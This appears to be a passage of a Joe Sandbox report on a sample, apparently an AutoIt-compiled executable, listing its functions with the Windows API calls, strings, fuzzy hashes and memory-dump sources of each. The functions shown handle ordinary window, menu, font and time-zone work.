String ID: 0.0.0.0
API String ID: 2479661705-3771769585
Opcode ID: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
Instruction ID: 242c39c9eac342e15b99afc3dd19321caf78dd289add9407b43412c046309cab
Opcode Fuzzy Hash: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
Instruction Fuzzy Hash: A1213B21A2A94692FF24AF21EE443B97264FFD4BC0F409131D94D876E9DF2CE548D316

Function 00007FF6292C0D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

PostMessageW.USER32 ref: 00007FF6292C0DEE
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6292C0DFF
GetDlgCtrlID.USER32 ref: 00007FF6292C0E0C
GetMenuItemInfoW.USER32 ref: 00007FF6292C0F43
GetMenuItemCount.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6292C0F61
GetMenuItemID.USER32 ref: 00007FF6292C0F76
GetMenuItemInfoW.USER32 ref: 00007FF6292C0FB1
GetMenuItemInfoW.USER32 ref: 00007FF6292C0FFC
CheckMenuRadioItem.USER32 ref: 00007FF6292C1033

Part of subcall function 00007FF6292BFB28: IsWindow.USER32 ref: 00007FF6292BFBED
Part of subcall function 00007FF6292BFB28: IsWindowEnabled.USER32 ref: 00007FF6292BFBFA

DefDlgProcW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6292C106A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
String ID:
API String ID: 2672075419-0
Opcode ID: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
Instruction ID: 2ba64ef62ad6c749ef5ebe3dc367d3612320f27c72d38c2d2c23dbc22bfafaca
Opcode Fuzzy Hash: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
Instruction Fuzzy Hash: D7916E36B2A6528AFF508F659A807BD33A1EB84B88F514035DE0D876D9CF39E445E302

Function 00007FF6292892E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF629289318
GetForegroundWindow.USER32(?,?,?,00007FF6292880FE), ref: 00007FF629289329
GetWindowThreadProcessId.USER32 ref: 00007FF629289334
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF629289348
GetWindowThreadProcessId.USER32 ref: 00007FF62928935E
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF62928937A
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF629289393
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF6292893D2
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF6292893ED
AttachThreadInput.USER32(?,?,?,00007FF6292880FE), ref: 00007FF629289400

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: 376a3f7ee4b9bc77005fadd53a92826aca9a4fcfccd18907c993ef7190a25b32
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: 77316B28B1E64287FF54CF25EE8863972A1FBC8790F504034DC4AD3694DF7DE889A612

Function 00007FF6292A767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6292A77E3
VariantInit.OLEAUT32 ref: 00007FF6292A7920
VariantClear.OLEAUT32 ref: 00007FF6292A792A

Strings

get__NewEnum, xrefs: 00007FF6292A76D1
Incorrect Object type in FOR..IN loop, xrefs: 00007FF6292A78FC
_NewEnum, xrefs: 00007FF6292A76AB
Null Object assignment in FOR..IN loop, xrefs: 00007FF6292A799D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
Instruction ID: a93539f15a580274d180f61c6bd67df31fe02db59892fed4d319278d80d4e78c
Opcode Fuzzy Hash: 0d292a3f0f15bdf0dc2b489c3a05645491a3d66a64ca4070d3452dd040457e0f
Instruction Fuzzy Hash: B7A19A33A1AB4286FF208F66E9506AD77A8FB88B98F440132DA4D83754DF3CD445E746

Function 00007FF6292BA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292BA461
SendMessageW.USER32 ref: 00007FF6292BA47A
SetWindowPos.USER32 ref: 00007FF6292BA4A7
wcscat.LIBCMT ref: 00007FF6292BA509
SendMessageW.USER32 ref: 00007FF6292BA51D
SendMessageW.USER32 ref: 00007FF6292BA54E

Strings

SysListView32, xrefs: 00007FF6292BA3B0
-----, xrefs: 00007FF6292BA4FB

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: b9e5e96b013840c651fad544a4c55a02df8fcbdd389cd0d3495d63ada67695d8
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: AA519F32A257918AEB20DF25E9446D933F5FB88784F40013AEE4D87B59CF39D594DB40

Function 00007FF62927E2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF62927E2DF
GetClassNameW.USER32 ref: 00007FF62927E2F6

Part of subcall function 00007FF629238E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629238E4F

SendMessageW.USER32 ref: 00007FF62927E386

Strings

largeicons, xrefs: 00007FF62927E314
smallicons, xrefs: 00007FF62927E34A
SHELLDLL_DefView, xrefs: 00007FF62927E2FC
details, xrefs: 00007FF62927E32F
list, xrefs: 00007FF62927E365

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction ID: d495eb1fe3a4c3705cc72c7e1ba5cccaf99ac2097581cd286c400039ef01f081
Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction Fuzzy Hash: 01210921A3E64380FE509F21EE856B93360AFD1788F405035D94DCF6A5EF2CE546A722

Function 00007FF6292BC324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292BC40A
ShowWindow.USER32(00000000,?,?,00007FF62925DF87), ref: 00007FF6292BC449
ShowWindow.USER32 ref: 00007FF6292BC457
SetFocus.USER32 ref: 00007FF6292BC460

Part of subcall function 00007FF6292BE7D4: DeleteObject.GDI32 ref: 00007FF6292BE82A

GetWindowLongW.USER32 ref: 00007FF6292BC4A8
SetWindowLongPtrW.USER32 ref: 00007FF6292BC4BD
InvalidateRect.USER32(00000000,?,?,00007FF62925DF87), ref: 00007FF6292BC4F7
SendMessageW.USER32 ref: 00007FF6292BC536
SendMessageW.USER32 ref: 00007FF6292BC54A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: 937813aa1596247d0c9bddf813c7792495993ae4c0bbdbb552c9c3b7eea6eea5
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: 9361A121A2A54386FF74DE299E617BA32B1BBC0794F105031DA1D836D5CF7DE486B702

Function 00007FF629252650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF629252673

Part of subcall function 00007FF629251C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629251C54

_get_daylight.LIBCMT ref: 00007FF629252684

Part of subcall function 00007FF629251BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629251BF4

_get_daylight.LIBCMT ref: 00007FF629252695

Part of subcall function 00007FF629251C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629251C24

Part of subcall function 00007FF62924B3C0: RtlFreeHeap.NTDLL ref: 00007FF62924B3D6
Part of subcall function 00007FF62924B3C0: GetLastError.KERNEL32 ref: 00007FF62924B3E8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6292528F5), ref: 00007FF6292526BC
WideCharToMultiByte.KERNEL32 ref: 00007FF629252752
WideCharToMultiByte.KERNEL32 ref: 00007FF62925279E

Strings

?, xrefs: 00007FF629252791

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 500310315-1684325040
Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction ID: 8a016b945ce6aab653d6bf125570061a8b5e2a502ce639bf5e728e80333e6cd1
Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction Fuzzy Hash: 36618F32A2965286FB14DF21EE401A977A4FFC8798F440135EA0DC2AA9DF3CE441E752

Function 00007FF6292C0B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

Part of subcall function 00007FF629211CEC: GetCursorPos.USER32 ref: 00007FF629211D1B
Part of subcall function 00007FF629211CEC: ScreenToClient.USER32 ref: 00007FF629211D3A
Part of subcall function 00007FF629211CEC: GetAsyncKeyState.USER32 ref: 00007FF629211D62
Part of subcall function 00007FF629211CEC: GetAsyncKeyState.USER32 ref: 00007FF629211D82

ImageList_DragLeave.COMCTL32 ref: 00007FF6292C0BA4
ImageList_EndDrag.COMCTL32 ref: 00007FF6292C0BAA
ReleaseCapture.USER32 ref: 00007FF6292C0BB0
SetWindowTextW.USER32 ref: 00007FF6292C0C5E
SendMessageW.USER32 ref: 00007FF6292C0C73

Strings

@GUI_DROPID, xrefs: 00007FF6292C0C99
@GUI_DRAGFILE, xrefs: 00007FF6292C0CE0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 3721556410-2107944366
Opcode ID: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
Instruction ID: 8f275100c4f36e9cb80baf1fca17914b592ff630bb70ef36449fa776c8631923
Opcode Fuzzy Hash: 587eb60e7772e36f3e392801f2e4a607ca3d480d8a76847679925989c46b6468
Instruction Fuzzy Hash: FF617936A26A5289FF00EF61ED805E93774FB84B98F510132DD1D93AAACF38E545D341

Function 00007FF62928A070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF62928A12F
IsMenu.USER32 ref: 00007FF62928A151
CreatePopupMenu.USER32 ref: 00007FF62928A183
GetMenuItemCount.USER32 ref: 00007FF62928A1DD
InsertMenuItemW.USER32 ref: 00007FF62928A209

Strings

2, xrefs: 00007FF62928A167
P, xrefs: 00007FF62928A0D0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: 614e130e3186b2f92d534f1e8908e29e7ba17e60e34a3a67132361eb61195ef0
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: 2D51D732A1AA4285FF68CF65DE4027D77A5BB80794F144135CA5D93AD8CF3CE481D712

Function 00007FF6292BE248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292BE32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF62929BDFB), ref: 00007FF6292BE346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF62929BDFB), ref: 00007FF6292BE360
SendMessageW.USER32 ref: 00007FF6292BE38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF62929BDFB), ref: 00007FF6292BE3B1
SetWindowPos.USER32 ref: 00007FF6292BE3F7

Strings

', xrefs: 00007FF6292BE3E2

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: d154052b877592bba78a643ffea4f0706a1129e34d4ce7c6d54cfa19a58fa819
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 3F51D232A2964281FB609F26AD64B7D77A0EBC1B90F554132CE5E83790CF3DE442A742

Function 00007FF62928AD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629238E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629238E4F

LoadIconW.USER32 ref: 00007FF62928AE50

Strings

blank, xrefs: 00007FF62928ADC9
info, xrefs: 00007FF62928ADE8
question, xrefs: 00007FF62928AE02
warning, xrefs: 00007FF62928AE36
stop, xrefs: 00007FF62928AE1C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconLoad_invalid_parameter_noinfo
String ID: blank$info$question$stop$warning
API String ID: 4060274358-404129466
Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction ID: ed9117df69e47bf101c8fdd49d4a872f13679b7e7159d7c161d209c556dd9567
Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction Fuzzy Hash: 97213721A2E78381FE58AF66BE001BA7355BFC47C0F445431ED4D86A95EF7CE442A612

Function 00007FF62928C5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62928C5DC
LoadStringW.USER32 ref: 00007FF62928C5F2
GetModuleHandleW.KERNEL32 ref: 00007FF62928C5FA
LoadStringW.USER32 ref: 00007FF62928C616
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF62928C649
MessageBoxW.USER32 ref: 00007FF62928C665

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF62928C642

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction ID: ab594d73157dad4fbcde3c84a7efbc2dea5e9aeb9d1530ab7b8c5420f8be9d7f
Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction Fuzzy Hash: 4711707162AA8591EB348F10F940BEA3264FBC8744F811036DA8E83688CF3CC149D701

Function 00007FF6292C233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

GetSystemMetrics.USER32 ref: 00007FF6292C23A5
GetSystemMetrics.USER32 ref: 00007FF6292C23C4
MoveWindow.USER32 ref: 00007FF6292C25F9
SendMessageW.USER32 ref: 00007FF6292C261A
SendMessageW.USER32 ref: 00007FF6292C263E
ShowWindow.USER32 ref: 00007FF6292C265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF62925AA58), ref: 00007FF6292C268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF62925AA58), ref: 00007FF6292C26B3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: a7f5d453c607d86416effaba68580a852678e595afa99cfa7582ef8bb032fb58
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: 19A1F52672A68282FF6CDF259A54B7976A0FBC4F84F115035DA0A83AD0DF3CE851E701

Function 00007FF62923443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6292344CD
ShowWindow.USER32 ref: 00007FF62927A753
ShowWindow.USER32 ref: 00007FF62927A7ED

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 467435a595363b3cc6d7085fd76517d1a0664e2084d86b461ecd24e300803f9a
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: CE515121E2E18288FF659F399E543BD36959FC2B54F1840B1C64EC66D5CF2CE488E247

Function 00007FF6292B90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6292B90D8
GetDC.USER32 ref: 00007FF6292B90E0
GetDeviceCaps.GDI32 ref: 00007FF6292B90F1
ReleaseDC.USER32 ref: 00007FF6292B90FE
CreateFontW.GDI32 ref: 00007FF6292B9195
SendMessageW.USER32 ref: 00007FF6292B91AB
MoveWindow.USER32 ref: 00007FF6292B91F1
SendMessageW.USER32 ref: 00007FF6292B9213

Memory Dump Source

